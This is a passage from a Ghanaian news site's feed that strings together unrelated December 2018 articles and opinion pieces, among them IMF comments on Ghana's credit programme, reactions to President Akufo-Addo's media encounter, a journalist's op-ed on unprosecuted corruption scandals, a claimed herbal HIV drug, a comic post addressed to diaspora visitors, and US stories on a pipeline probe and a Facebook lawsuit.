reached worrying levels. The IMFs Extended Credit Facility (ECF) provides financial assistance to countries with protracted balance of payment problems. According to IMF boss, the countrys ECF programme with the IMF would end in April 2019 and not December 2018 as been announced. The programme is to end in April, yes. I will tell you in April (whether Ghana was on track). We are all on track to delivering till April. Everything Ive heard from the authorities is that everybody is committed to delivering till the end of the programme as was concluded which has always been April. I know that the team is working today as we speak with the Finance Ministers team, and of course they have to review numbers and to run theybut we are all working in good cooperation, and Im very hopeful that we will have the board meeting in late January or early February, Ms Lagarde told Joy Fm in an interview. Asked whether the ECF was prudent, she said, I am in no doubt that the programme was worth it when I look at the numbers, but the good question is could Ghana had done the same things without our support? She added, I think what the investors would be looking at is whether Ghana, under the current management, can actually stay the course and deliver not only political stability for which it is well-known but also fiscal responsibility and not going to binge borrowing and binge spending simply because the elections are around the corner. In 2015, the Ghana government entered into an agreement with the IMF for economic assistance. The IMF provided funding of $918 million to be disbursed to Ghana under eight tranches. Some key issues of the credit facility included the freezing of public sector employment, reducing the budget deficit and zero financing of the budget deficit by the BoG. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video President Nana Addo Dankwa Akufo-Addo on Wednesday announced that US$237 million had so far been disbursed to 16 companies under the One District, One Factory (1D1F) Initiative, while additional five companies are being considered for support to boost the countrys industrialisation drive. Systematically, he said, government was rolling out the 1D1F industrialisation programme, with 79 projects so far being implemented, while 134 projects were undergoing credit appraisal from officials of the Ministry of Trade and Industry. President Akufo-Addo announced this when he met a cross-section of the media at the Jubilee House, the Seat of Government, in Accra, on Wednesday, to render account of his 23 months stewardship. The President answered questions on the various sectors of the economy, ranging from the economy, health and cyber security, as well as the implementation of governments flagship programmes such as 1D1F, Free Senior High School policy, digitisation of the various public sector institutions to formalise the economy and other pressing national issues. Touching on health, President Akufo-Addo said government had paid GHc1.2 billion arrears inherited from the previous administration for the operations of the National Health Insurance Scheme. He said the country was in the process of securing most advanced medical drones for distribution of blood and other essential medicines to hard-to-reach areas across the country. He said four operational centres would be created, which would distribute 148 life-saving and essential medical supplies, noting that, it would save lives, decrease waste in the system and have access to more than 140 million people nationwide and also employ over 200 Ghanaians. The programme, he said, would not be run on public purse because corporate entities would fund it through their corporate social obligation. I prefer drones delivering blood and essential medicines to our people than investment in guinea fowls, the President added. Commenting on measures to formalise and modernise the economy, President Akufo-Addo mentioned the implementation of the paperless ports system, mobile money interoperability payment system and national property addressing system, as well as the national identification card (Ghana Card), which is the fairest and fastest way of modernising the economy and enhance productivity. On the education front, President Akufo-Addo said every child deserved better education and announced that government, through the Ghana Education Trust Fund, had secured $1.5 billion facility to help the development of school infrastructure. He noted that the first tranche of the facility would be used to build more classroom blocks, laboratories and other essential educational facilities to give schools the appropriate facilities, which meet modern standards. He assured of governments determination to produce well-trained workforce, who would be competitive on the world stage. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video President Nana Addo Dankwa Akufo-Addo met with journalists at the Jubilee House yesterday. For the first time, the focus shifted from the criticism of journalists for their poor questions to the defects in the organisation of the programme. The president spent most of the time extolling the virtues of his government and repeating the achievements and the excuses we have heard over and over again. When it was time for the journalists to subject him to scrutiny, he announced the programme would not travel beyond 7pm. When he said this, it was 6:07pm so we had about 53 minutes to interact. He took a lot of time to respond to the questions, cracked jokes and sometimes invited his ministers to answer some of the questions. The journalists were pushed to ask their questions in a minute, but there was no sense of urgency in the responses. This means the number of journalists who had the opportunity to ask questions was limited a little over two dozen. More than 100 journalists were present. My biggest disappointment was his jab at former President John Dramani Mahama when he responded to his predecessors criticism of the medical drones deal. I prefer drones flying to deliver essential drugs to our people to investment in guinea fowls that allegedly fly off to Burkina Faso without a trace, President Akufo-Addo said. I find this pronouncement very unfortunate, to say the least. I was the journalist who investigated and exposed the Savannah Accelerated Development Authority (SADA) corruption scandal. SADA had given GHC15 million to Asongtaba Cottage Industry and Exchange Programme to undertake a guinea fowl production and marketing joint venture project. Before that arrangement with SADA, the Ghana Youth Employment and Entrepreneurial Development Agency (GYEEDA), now the Youth Employment Agency (YEA), had paid GHC1.7 million to the same company to train 2000 youth in guinea fowl rearing. This was supposed to happen in the Upper East, Upper West and the Northern Region. My investigation revealed that the company took the money but did not train a single person. In all, we have lost at least GHC16.7 million in this shady deal. I find it distasteful that we have reduced this serious scandal to a joke, which people laugh about as evidenced in the reaction that greeted the presidents remark. I say it is a joke because the guinea fowls did not fly. At no point did it emerge in my investigation that the guinea fowls had flown to Burkina Faso. And nobody said that anywhere. The guinea fowls flying to Burkina Faso was one of the jokes we make out of serious issues as a country. The president should not be joking about this unresolved fraud against the good people of Ghana. Two years after coming into office, the President and his government have not deemed it fit to take any steps to recover the stolen money and prosecute the persons who dissipated the funds allocated from the tax payers purse to alleviate poverty in the northern part of the country. No investigation has started in the guinea fowl scandal. Theres no prosecution. All the people who took part in the deal are free. The President and his party made a lot of political capital out of the guinea fowls scandal. They campaigned with it when they talked about how corrupt the Mahama government was. They cited it when they told people of northern Ghana how insensitive their own brother had been to their plight. They said for that reason, we should vote out the Mahama government. When they became custodians of the power to prosecute, they have done nothing about it. This means they just took advantage of the rot to push their political agenda and forget about it once they achieved their aim. It is now only important in funny comments and jabs. This is not an isolated case. The President and his party campaigned on the GYEEDA corruption. Under their watch, nothing has changed from how it was when the Mahama government left office. Two years into office, the government still pays Zoomlion GHC500 cedis and the company pays each worker GHC100 and keeps 400 cedis as management fees. Zoomlion claims it manages 45,000 workers. So every month, the company earns a management fee of GHC18 million from this contract while the poor workers battling with the nations filth go home with GHC100 or $20 a month. This is happening despite the fact that the contract for this unconscionable arrangement expired in February 2013. One thought this wickedness and exploitation would end when the government changed. But it did not happen. President Akufo-Addo rather went to visit the Zoomlion CEO and encouraged him. The president described the corruption allegations against Joseph Siaw Agyepong and his companies as controversies that come when youre in the forefront of doing things. Really? The president described the corruption allegations against Joseph Siaw Agyepong and his companies as controversies that come when youre in the forefront of doing things. In 2017, I investigated acts of corruption in sanitation contracts involving Zoomlion and the Jospong Group. The fraudulent waste bins and fumigation contracts I uncovered are worth GHC530 million cedis. These contracts were signed in 2015 and 2016. More than a year and three months after the police started investigations into these deals, nothing has been heard about it. I was shocked when I found out why the case had stalled. The Local Government Ministry and the District Assemblies Common Fund Secretariat are withholding vital information and documents from the Police CID and the Attorney General. These are the issues the president should be concerned about if he wants us to take him seriously on his fight against corruption. If he cannot prosecute the corrupt cases from the past government, then we cannot expect any meaningful impact from him in dealing with persons within your own government. President Mahamas sins are not new. They are well-known and documented. Repeating them and not doing anything to bring the perpetrators to book only portrays the president as an opportunistic politician who took advantage of the rot in the previous government to campaign for power, but failed to do anything about them when he had the opportunity to do so. That is the hallmark an opportunistic politician, not a leader. The writer, Manasseh Azure Awuni, is a journalist with Joy 99.7 FM. He is the author of two books, Voice of Conscience and Letters to My Future Wife. His email address is [email protected] The views expressed in this article are his personal opinions and do not reflect, in any form or shape, those of The Multimedia Group, where he works. Source: www.manassehazure.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The St. John's Hospital & Fertility Centre at Tantra Hills, Accra, today, Thursday, December 20 donated an ambulance van to the Ghana Immigration Service [GIS]. The move, according to management of the hospital forms part of their Cooperate Social Responsibility to improve health service delivery. Speaking at a short presentation, the Chief Executive Officer [CEO] of the St. John's Hospital & Fertility Centre, Mrs Maame Yaa Afriyie explained that the ambulance would be helpful in improving the emergency response system in the service which has a challenge with transporting patients in times of emergency. She expressed the hope that the presence of the ambulance with its gadgets onboard would save lives. Minister for Interior, Ambrose Dery, who received the donation on behalf of the Immigration Service, described the gesture as 'unique' after thanking St. John's Hospital & Fertility Centre for their generosity. He however handed over the key of the ambulance to the Controller-General of GIS, Kwame Asuah Takyi and urged him and management to use the ambulance for the purpose for which the donation was made. St Johns Hospital & Fertility Centre is a modern facility providing quality primary health care to improve health outcomes and status of everyone for a healthy community. Source: King Edward Ambrose Washman Addo/Peacefmonline.com/ Twitter: @Washman5/ Instagram: Ambrose_wash Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The Presbyterian Church of Ghana (PCG) will induct the Right Rev Professor Joseph Obiri Yeboah Mante as the 18th Moderator of the General Assembly on Sunday 23rd December 2018 at the Grace Congregation of the PCG at Akropong Akuapem in the Eastern Region of Ghana at 9:00 am. Right Rev Professor Mante takes over from the Very Rev Prof. Cephas Narh Omenyo. Right Rev Prof. Mante was elected in August this year during the 18th General Assembly of the PCG at Akropong Akuapem in the Eastern Region. The new Moderator comes in with a vast experience having served on many boards and committees of the state, institutions and the Presbyterian Church of Ghana. Rev. Prof. Joseph Obiri Yeboah Mante has been a Minister of the Presbyterian Church of Ghana since 1981 (37 years), and once served as the Presbytery Chairperson of the Akuapem Presbytery of the Presbyterian Church of Ghana from 2006-2011. He has trained Pastors and lectured for the past 24 years at the Trinity Theological Seminary, Legon and has served as the Academic Dean at the Trinity Theological Seminary, Legon for 9 years, before becoming the President of the Seminary from September 2011 to 1st August, 2018. He has served on boards of 21 organizations (12 of them being Boards and Councils of high/higher Education) Right Rev Prof Mante was born on 9th November, 1957 and hails from both Larteh Akuapem in the Eastern Region and Kokofu in the Ashanti Region. He was commissioned into the Ordained Ministry of the Presbyterian Church of Ghana in 1981 and was ordained in 1983. The new Moderator holds PhD in Systematic Theology and Philosophy of Religion (1994) from the Claremont Graduate University in California, USA. The Induction Service will be officiated by the former Moderators of the General Assembly of the Presbyterian Church of Ghana, Very Rev Prof Emmanuel Martey and Very Rev Dr. Sam Prempeh and will be assisted by the Clerk of General Assembly, Rev Dr. Samuel Ayete-Nyampong. His Excellency Nana Addo Dankwa Akufo-Addo, President of the Republic of Ghana is expected to be the Special Guest of Honour. We appeal to all Presbyterians and the Christian community both home and abroad to pray for successful induction service. Source: Rev George Larbi, Public Relations Officer Presbyterian Church of Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Torgbui Sri III, the Awoamefia of Anlo State, was the special guest of honour of Asantehene, Otumfuo Osei Tutu II, yesterday at the last Akwasidae for the year at Manhyia Palace. The historic event marks the longstanding friendship between Asanteman and Anlo State as part of Otumfuos efforts to promote national cohesion and inter-ethnic harmony. This is the maiden visit of Togbui Sri to the Manhyia Palace, and he went with an entourage of 170, comprising chiefs, queen-mothers and prominent people from his traditional area. The Akwasidae Festival, which is celebrated by Asantes, is used to honour the ancestors of the communities. It is celebrated on a Sunday, once every six weeks. Speaking at the ceremony, Otumfuo emphasised the need for Ghanaians to make the attainment of peace and unity an utmost priority. According to him, Ghana is a unique blend of a people with a common heritage, but also with diverse characteristics. Like most African countries, managing diversities has been prone to negative influences, but we have demonstrated in our time that it is the mix of diversities which is, indeed, our greatest strength. This is the belief that has guided all our endeavours within Ghana to foster a spirit of ethnic harmony and mutual trust and understanding. It is the message we have tried to carry with us to the rest of Africa and beyond, that our common heritage is our strength and should help us withstand all the negative forces that may seek to divide us, he added. Asanteman and Anlo Otumfuo recounted how Asanteman and Anlo had lived as brothers and sisters at all times in different locations without any difficulty, saying there should be no turning back. My uncle, Otumfuo Sir Osei Agyemang Prempeh II, had the extraordinary challenge of managing the full integration of Asante into what is now the united Republic of Ghana. He was always proud that [being the] statesman as he was, he was able to draw a great deal from the Awoamefias great uncle, Togbui Sri I, and from some of the eminent sons of the Anlo State. Otumfuo Osei Agyemang Prempehs personal physician was Dr R.E.G. Amraoti, one of the finest physicians and scientists of his time; and his lawyer was the renowned B.E.A. Tamakloe, who was to become the lawyer of Asanteman during the very difficult years before independence, the Asantehene revealed. The Asantehene referred to the allocation of suburbs in Kumasi to Anlos, as well as the allocation of some positions in the Asante Kingdom to Anlos, to attest to the fact that the Anlos and Asantes had no conflict between them. He promised to attend the Hogbetsotso Festival of the Anlos in November next year, following a request from the Awoamefia. Negative politics The Asantehene expressed worry that partisan politics was building mistrust between the two peoples despite the long years of fruitful relations between Asanteman and Anlo. Happily, today, we have the opportunity to slam the door firmly to the purveyors of doom and discord, he added. Development The Asantehene noted that since his enthronement, he had made the development of Asanteman the focus of his reign. We have promoted education and healthcare not only for Asanteman, but the larger nation state of Ghana. But we have also been acutely aware that a pre-condition for any development in any state is peace. That is why we have been unsparing in our endeavours to promote peace, eliminate discord and enhance harmony among all our people, he stated. Otumfuo Osei Tutu also thanked the Second Lady, Mrs Samira Bawumia, for gracing the occasion. Awoamefia grateful Addressing the ceremony, Togbui Sri praised the Asantehene and the people of Asante for the way and manner they had lived in peace with Anlos in the Ashanti Region and the rest of the world. He promised to work to deepen the already existing peace and love between Anlos and Asantes. Notable dignitaries who attended the ceremony were the wife of the Vice-President, Mrs Samira Bawumia; the Minister of Food and Agriculture, Dr Owusu Afriyie Akoto; the Deputy Ashanti Regional Minister, Madam Elizabeth Agyemang; the Vice-Chancellor of the Kwame Nkrumah University of Science and Technology, Prof Kwasi Obiri Danso, and many dignitaries and ordinary people who paid homage to the Asantehene as he sat in state. Source: The Finder Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Ghana could be the proud discoverer of an eventual cure for HIV and AIDS, a global disease burden which has claimed millions of lives, rendering children orphans and shattering families due to the lack of cure. Dr Samuel Ato Duncan, the Executive President of the Centre of Awareness (COA) Global Peace Mission, who announced the breakthrough in Accra on Wednesday, said the COA Drug, which is purely herbal based, could destroy about 80 per cent of the HIV virus within two hours of its administration, with a negative effect on the human DNA. He said he discovered the formula for the potential cure after several years of waiting on the Lord for an answer to ensure global peace. Dr Duncan who was delivering an address at the Second Public Lecture and Launch of the Global Peace Mission International, explained that the discovery led to further research and trials by the Centre for Plant Medicine Research at Akuapem Mampong and the Nouguchi Memorial Institute for Medical Research at Legon, as well in South Africa. He said the results from all the institutions confirmed the efficacy of the COA Drug. Dr Duncan said the outcome of the drug, so far, showed that with further research and trials, Ghana would be leading the world in a historic breakthrough for the long awaited cure for HIV and AIDS. He, therefore, presented a White Paper to President Nana Addo Dankwa Akufo-Addo and called for the urgent commissioning of credible scientists, researchers and institutions to collaborate in conducting further studies and clinical trials on the COA Drug. From all indications, I have no single doubt that Ghana has found a potential cure for HIV and AIDS. Nevertheless, there is the need for a group of Ghanaian scientists to come together to do further clinical trials using the International Standard Protocol set by the WHO for global acceptance of the product, he said. Dr Duncan was, however, quick to explain that the discovery of the cure for HIV and AIDS was not for his personal gain, and hence its dedication to the Government to conduct further research and produce the cure for the whole world as part of his global peace mission. He said earnings to be derived from the production of the Drug could be used by the Government to finance the various social interventions and policies such as the Free Senior High School and the One-District One-Factory. The roadmap to achieving Global Peace, the world over, was to revert to the old state of man, which was in the image of God, sinless and full of love and respect for one another as it was from the beginning of creation, Dr Duncan said. He defined global peace as achieving more than a world devoid of conflicts and war, but also where diseases, poverty, malnutrition, hunger and social injustices among other things were eliminated to ensure equality, good health and sustainable development. Dr Duncan, therefore, proposed that global peace be tackled locally, nationally and internationally, calling on all international agencies to work in collaboration with the Global Peace Mission to implement peace-centered policies and programmes that projected issues such as morality, accountability, justice and unity. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Audio Attachment: Listen to Kojo Oppong Nkrumah in an interview with Kwami Sefa Kayi President Akufo-Addo, if he was in the classroom, would have scored low marks according to some journalists following his media encounter on Wednesday, 19th December, 2018. According to a section of the media who were invited to the press conference, the President spent 40 minutes hailing himself and his administration leading to a reduction in the time for asking questions. They claim it is the 'worst' media encounter ever held. The Media Foundation for West Africa (MFWA) has described the Presidents comparison of the controversial medical drone deal to the botched guinea fowl project under the previous administration as petty. " . . one low point of the Presidents performance was [the] comparison of his governments medical drone deal to that of the SADA Guinea fowl issue under the erstwhile Mahama government which was petty and unnecessary, MFWA stated in the section assessing the Presidents performance. However, the Minister of Information, Kojo Oppong Nkrumah says in as much as he welcomes the various criticisms, there is no media encounter ever held that every journalist have been able to ask questions. According to him "it was not intentional . . . we will not get 100 percent, but we did our best and going forward, we will build on it and make it better". 40 minutes for Prez Akufo-Addo Kojo Oppong Nkrumah also defended President Akufo-Addo's 40-minute speech. He said it was important for the President to make known his achievements and various works done since he assumed office and that is what he did . . . we did as much as we could within the time constraint . . . I understand a lot of journalists wanted to ask questions; we will take reactions from the media as feedback and I assure them we will improve on it. In general, he described the media encounter as fairly balanced which need to be built on. Source: Rebecca Addo Tetteh/Peacefmonline.com/[email protected] Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Shouts to all of you from Obimanso. Ya fi mo paaa. We miss you more than you miss the boys and girls you left us with last year. Please my name is Kwame Gyan. Whiles here, we have politely pieced these guidelines to make your stay as effortless as catching a bus in Obimanso instead of the hustle of catching a trotro. 1. We know you are here. We know it when we see you. Please spare us the huge signboards directing us to you the accent, the long boots, the overly short clothes, and the needless innit and ya know wha I mean. 2. The guys, when you come and start to deal with your Ghana girls, have common sense and dont spoil the market for the rest of us. Dont mess our sex lives up with your two-week misbehavior. You are here for two weeks; we are here for 52 weeks and change. 3. The girls, please let me tell you there are very very very nice girls here paaaa walahi. So if you think you will come and flex us saaaa be steady wai. After all you are here for 2 or 3 weeks so whats the point in stretching us for 2 weeks giving us just 2 or 3 days to enjoy the fruits of our perseverance. Gogo yourselves and let us show you GH loving papa paaaaa. 4. The boys, again, be careful you hear? We wont tolerate those your things where you come and use our girls and leave without saying good bye. The least you can do is to leave them all your Cedi notes and add some five 1 notes. 5. Don't come and tell us you miss green soup, or akple or tuo zaafi. No one asked you to travel. If food was important to you, you would have stayed. 6. Stop acting like the sales attendants at Primark and dem shops do not know you by face and name. Stop that habit of comparing the prices of everything you want to buy and disturbing us about costs. Massa, it's not as if prices of things are low everywhere you in your Obimanso. Do you always enter a designer shop? Fior. 7. Every year we talk about that your irritating Yankee or British accent that you bring into this town. See, lose that accent before you enter the Ghana airspace. No, in fact, lose it at the immigration of the country you are coming from before you get onto the tarmac. See, we know you ooo. We know you can speak to us pepeeepe so don't come trying to do that rubbish. What! For the last time, once again, before you come here to speak English in a way that will have us asking you "pardon, pardon, pardon". See, Kofi Annan stayed in New York longer than you but he spoke normal English. In fact, if you start that your nonsense accent, we will insult you. 8. If by now you don't know, let me remind you: the temperature from where you came from is anything between -2 and 9 and tins. Here, you will be lucky to get 24 at night. Yes, same as when you were born here and the last time you came to town. So stop it already. 9. I beg ooo, some of our ladies will still ask you to pay the taxi fare or Uber or Taxify when they visit. You will also pay for the return trip. Does not matter if she came to pick up the things you bought her from Obimanso or she had multiple orgasms while you probably had none. Oh and if you want to get some again, dont you dare tell them that the girls in Obimanso dont do that. 10. Please Ebony passed sadly. Her manager recruited her replacement even when her body was still warm. The New Ebony is doing all she can to be relevant. Please support her. She has some naughty songs out there, and she does not like wearing bra and has one of those pointed nipples that push out of blouses so check her out. 11. Don't make up your mind that you are coming to use anyone here. We have already taken that position. Be the one to be used. Or we can agree to use each other, no wahala. 12. Please stop ordering us to wait for you at Kotoka International Airport (KIA) a whole two hours before the projected touch down of your flight. You know you have been doing this almost every year or once every two years and we dont like it. Even if we dont meet you, have you forgotten the way to your homes? Hoh! 13. Still about Airport, be careful what you say about our brand new, state of the art Airport. We like it a lot paaa, even if Schipol and Heathrow and JFK make it look like some small ordinary airport. 14. Please when you get into town, leave your jacket and winter boots in your house until you are dressing up to head back to KIA and away to wherever you are doing your 'any work'. We know the weather back in your abrokyire is cold but don't be a villager to wear fur coats in our 32 weather. Eye nkurasesem paaa. And yes, it is hot here. 15. We know you are making money in Obimanso. We also know that you pay plenty tax. And some of you still owe the visa contractor who did your connection for you so your cash level no shada dey up. Don't come and spend all the money you have saved buying champagne in clubs and spreading people like your father is Mugabe or Dangote. If you do the too known and go back, we won't send you kapreba. Yoooo! 16. If you bought something for someone last year and you come and you see him or her still wearing it, you don't need to shout and say "eei you are still wearing these jeans I bought from Next? Efata wo paaa ooo". Please, we know you still have jeans you bought 5 years ago. We know before you left you wore clothes saaa until they were tired of alterations so stop that nonsense. You like that! 17. As we told you last year, and the year before, we are not villagers like that oo. You can't buy as 2 and $5 shirts and tops and expect us to roll on the floor in excitement. We know it when what you give us is cheap. Oh we will say thank you. But don't expect us to behave as if you just gave us a Saville Row suit or an Armage cologne. 18. Please we know what the exchange rate is. We know. We dont need the needless reminder. We also know that you know the exchange rate. Stop the too known and come and melt your euros and pounds and dollars in peace. Stop that! 19. News flash: Takoradi too has a Mall. Yaaaaaayi! And yes, yen bredas and sistren rushed into the mall as though there were expensive freebies to be given away. We thank God there was no stampede. 20. While you are here, remember that in Ghana, whatever the government says, the opposition must oppose, and they must not necessarily oppose with suggestions. 21. Every year we tell you this but some of you have made your ears as hard as Francis Doku's forehead so you don't listen. We will keep saying it. Please dont forget your malaria prophylaxis else your gluteus muscle will have to bear the pain of artemether in a G25 needle without an analgesic; your only consolation will be sorry 3y3 wo ya? Kafra.. Kafra.. 3b3 k) wa. Source: Kwame Gyan/facebook Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Arguably for the first time in the history of 'Prez. Meet The Press', a direct question on creative arts was posed to the President yesterday, thanks to Kwame Adinkra (God will bless him). In his attempt to answer the question on the establishment of a theatre in Kumasi, the President twirled and swirled, looking for somebody to help him answer such a relevant question. "Unfortunately, Afeku is not here to answer, but you will get an answer," he retorted unconvincingly. My people, the Afeku the Prez. was referring to was partying at that time; drinking, eating and dancing at the same time when Ghanaians were tuned in, hoping for sane answers on how the Country is being managed. The first confusion is this; how did Madam find it convenient, expedient and germane to organize a party for Creative Arts folks when there was a crucial gathering that was of some utmost importance? The other confusion is; these same folks within the Creative Arts have been disturbing Ghanaians over the lack of a large seating theatre in the regions, especially Kumasi, yet, they were partying with the Minister when an answer to that question was needed. How? What were they celebrating? Which one? But wait, there's more confusion brethren. Now, some Entertainment Show hosts and their producers plus pundits, who could have been in a better position to query the Minister on why she has missed 2 crucial 'Prez. Meet the Press' gatherings in the year - were also partying; eating, drinking and dancing. In summary, we are just a f**ked up bunch and Afeku is in the driving seat. Source: Arnold Asamoah-Baidoo/facebook Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Hollywood star Boris Kodjoe has disclosed that he will be storming Ghana this December with some of the worlds biggest celebrities. The actor, who is of Ghanaian descent, said in a video that he is bringing 40 of the worlds renowned celebrities to Accra to experience the countrys rich culture and history. Boris Kodjoe, whose father is a Ghanaian, was in May this year appointed Ambassador of Film for Ghana by Catherine Afeku, Minister of Tourism, Arts and Culture. being that my father was from Ghana and we visited my grandmother, my cousins and my uncles. Every holiday we had makes me really connected to our country, he said the video. Thats why Im so excited to bring 40 of my famous friends, some of the worlds top celebrities to Accra in December so they can meet the people, feel the culture, connect with the energetic heritage, they can relax on the beaches, tour the castles and then share their experience the with millions and millions of followers around the world, the actor added. Kodjoe urged interested people and bodies who understand the importance of showing the world what an amazing tourist and business destination Ghana is to come on board to make this a reality. Known in real life as Boris Frederic Cecil Tay-Natey Ofuatey-Kodjoe, Mr Kodjoe is an Austrian-born actor of German and Ghanaian descent. He is popular for his roles as Kelby in the 2002 film Brown Sugar, the sports-courier agent Damon Carter on the Showtime drama series Soul Food and was a recurring character on FOX's The Last Man on Earth. He currently co-stars on BET's Real Husbands of Hollywood and on the CBS medical drama Code Black. Kodjoe was born in Vienna, Austria, the son of Ursula, a German psychologist of partially Jewish descent, and Eric Kodjoe, a Ghanaian physician who is a Krobo. He was the host the 2018 edition of the CAF Awards which came off at the Accra International Conference Centre on Thursday, January 4. VIDEO- Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Chester County District Attorney Tom Hogan announced Wednesday his office is opening a criminal investigation into construction of the Mariner East pipeline project, which in March caused sinkholes to form in the back yards of some homes near Exton. Read more Chester County District Attorney Thomas P. Hogan announced Wednesday that his office is launching a criminal investigation into construction of the contentious Mariner East pipelines, putting the prosecutor directly into a political battle involving anti-pipeline activists and state officials he said have failed to step in to protect local residents. Hogan accused Gov. Wolf and state agencies of failing to hold Sunoco Pipeline LP accountable, drawing curt responses from Wolfs office and the Pennsylvania Public Utility Commission, which have cited the company numerous times for environmental violations associated with pipeline construction and for safety concerns associated with the first Mariner East pipeline, which began operations in 2014. Energy Transfer Partners LP, Sunocos parent company, called Hogans allegations baseless and questioned the legal grounds upon which he would base a criminal investigation. We are confident that we have not acted to violate any criminal laws in the Commonwealth of Pennsylvania and we are committed to aggressively defending ourselves against these baseless allegations," Vicki Granada, an Energy Transfer Partners spokesperson, said in statement. Sunoco Pipeline is building three adjacent pipelines to transport natural gas liquids like propane across state from the Marcellus Shale region to a terminal in Marcus Hook, where much of the material is being exported by ship. The $5.1-billion project is a major link in the states effort to promote Pennsylvania shale-gas development, but it has provoked fierce opposition from construction problems, and aroused fears about pipelines transporting highly volatile liquid fuel near homes, schools, and nursing homes. Hogans announcement, which cited a litany of spills, contaminated water wells, sinkholes, and alleged bullying by Sunoco representatives, was posted on social media and lauded by anti-pipeline activists. We expected the state regulators and the governor to step in and assure the safety of Pennsylvanians, the prosecutor said in a news release. "They have not. So now the Chester County District Attorneys Office will demand that every aspect of these pipelines be conducted safely, or we will bring into play all of the tools of the criminal justice system. State officials bristled, saying the PUC and the Pennsylvania Department of Environmental Protection have cited and fined Sunoco for the very problems that Hogan highlighted. Gov. Wolfs spokesperson, J.J. Abbott, said the state agencies have provided unprecedented oversight of the project DEP alone has issued more than 80 violation notices on Sunocos construction practices, and collected more than $13 million in penalties. The commonwealth is living up to our promise to hold this project accountable to the strong protections in the permits and our abilities under existing law. Abbott said in a statement. We welcome any partners who want to constructively talk about improving state oversight. The PUC, which cited Sunoco most recently last week for a 2017 spill in Berks County, also listed a number of enforcement actions it has taken against Sunoco and its parent company, including shutting down the Mariner East 1 pipeline for nearly two months this year to address concerns about subsidence associated with sinkholes that developed in Exton. The PUC has a number of active and ongoing investigations and cases involving Sunoco and the Mariner pipelines, including complaints brought by the PUCs Pipeline Safety Division as well as private citizens, PUC spokesperson Nils Hagen-Frederiksen said in a statement. "Our experienced investigators remain focused on the mission of enforcing Pennsylvanias safety regulations which includes inspections, investigations and enforcement actions and the commission will not hesitate to take appropriate action based on the facts, the evidence and the law. " Sunoco announced plans in 2010 to repurpose an existing fuel pipeline to carry natural gas liquids to Marcus Hook, and took on the Mariner name to reflect its primary purpose as a virtual pipeline exporting gas liquids, used in petrochemical production. The project has attracted a litany of civil actions from residents and environmental groups led by the Clean Air Council, challenging the projects public utility status and its authority to acquire easements by eminent domain. Sunoco has prevailed in most actions. Hogan, a Republican who was elected Chester Countys DA in 2011, said his attention was drawn to the Mariner East project recently after a September explosion of a natural gas pipeline owned by Energy Transfer Partners in Beaver County, near Pittsburgh, which he said changed speculation into tangible danger and destruction. He also visited the homes of residents near Exton in November that were affected by sinkholes in March. The concerns and fears of those citizens were both disturbing and heart-wrenching, he said. The prosecutors newfound understanding of the project and the pipeline industry was reflected in the news release, which repeatedly referred to the material that Sunoco transports in the pipelines as natural gas. The materials are actually propane, ethane, and butane also called natural gas liquids that are legally petroleum products, which behave differently than natural gas, and are regulated under different laws. Hogan did not spell out specifically which laws Sunoco or its officials may have violated. Potential charges include causing or risking a catastrophe, criminal mischief, environmental crimes, and corrupt organizations, he said in a news release. Such offenses could include criminal charges directly against the individual employees involved, from workers on the pipelines through corporate officers. Sunoco said it was surprised to learn that the district attorney believes there is a legal basis for conducting a criminal investigation into the company and the project. We vehemently deny any such wrongdoing and we take issue with the many factual inaccuracies contained in the district attorneys press release, it said. WASHINGTON Nine months after a whistle-blower revealed that Facebook had allowed outsiders to improperly access personal information about millions of its users, the social-media giant faced its first major rebuke from regulators in the United States a lawsuit filed by the attorney general of the District of Columbia. The lawsuit from Karl Racine on Wednesday targeted Facebook mainly for its entanglement with Cambridge Analytica, a political consultancy that harvested names, likes, and other data from the social site without users' permission. The incident, which affected more than 87 million users, beginning in 2014, came to light this March, sparking investigations around the world. The opening salvo from the D.C. attorney general ended a protracted silence on the part of many U.S. regulators, who have faced immense pressure from members of Congress and average web users to discipline Facebook for what many see as a reckless disregard for online privacy. Some of Silicon Valley's toughest critics have urged the government to slap Facebook with severe fines and other penalties that might force it to rethink a business model that monetizes the most intimate details of consumers' lives. "It's about time," said Christopher Wylie, who exposed the Cambridge Analytica controversy through reports in several news organizations. But the fact that the first legal action came from local D.C. officials not their federal counterparts located a 